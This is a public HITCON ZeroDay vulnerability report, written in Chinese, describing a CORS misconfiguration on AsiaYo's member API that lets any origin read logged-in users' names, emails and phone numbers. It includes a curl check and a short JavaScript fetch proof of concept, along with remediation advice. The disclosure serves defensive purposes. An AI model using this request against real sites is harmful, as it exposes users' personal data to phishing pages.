Asiayo 網站 CORS misconfiguration 漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-00829
  •  發信 Vendor: AsiaYo
  • Title: Asiayo 網站 CORS misconfiguration 漏洞
  • Introduction: CORS misconfiguration

處理狀態

目前狀態

公開
Last Update : 2020/11/18
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2020/09/18 22:13:40 : 新提交 (由 huli 更新此狀態)
  • 2020/09/20 20:24:04 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/09/21 19:03:39 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/09/21 19:03:39 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/09/21 19:03:39 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/11/18 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2020-00829
  • 通報者:aszx87410 (huli)
  • 風險:低
  • 類型:其他 (Other)

參考資料

暫無資料
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://asiayo.com/web-api/v1.1/member?locale=zh-tw&source=member_dashboard

敘述

CORS response header 沒有設置好,任意 origin 都會過
網頁使用 cookie 驗證身份(沒有加 SameSite 屬性),再加上 response header 有 access-control-allow-credentials: true
因此可以做一個釣魚網站,使用者造訪時若是 asiayo 處於登入狀態,就可以拿到使用者資料(姓名、email 以及手機)

驗證:

curl -I -H 'Origin: http://anything.com' 'https://asiayo.com/web-api/v1.1/member?locale=zh-tw&source=member_dashboard'
access-control-allow-origin: http://anything.com
access-control-allow-credentials: true
access-control-allow-methods: GET,POST,PUT,DELETE
access-control-allow-headers: Content-Type, x-app-platform

重現漏洞方式:

  1. 在 local 端跑一個網頁,內容是:
fetch('https://asiayo.com/web-api/v1.1/member?locale=zh-tw&source=member_dashboard', {
  credentials: 'include'
}).then(r => r.text()).then(res => {
  console.log(res)
})
  1. 用 Chrome 以外瀏覽器打開網頁(因為 Chrome 新版預設有 SameSite cookie,此攻擊就無效了)
  2. 打開 console,看到使用者資料

修補建議

1. 設置 allow list,只允許特定 origin
2. cookie 加上 same site 屬性

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;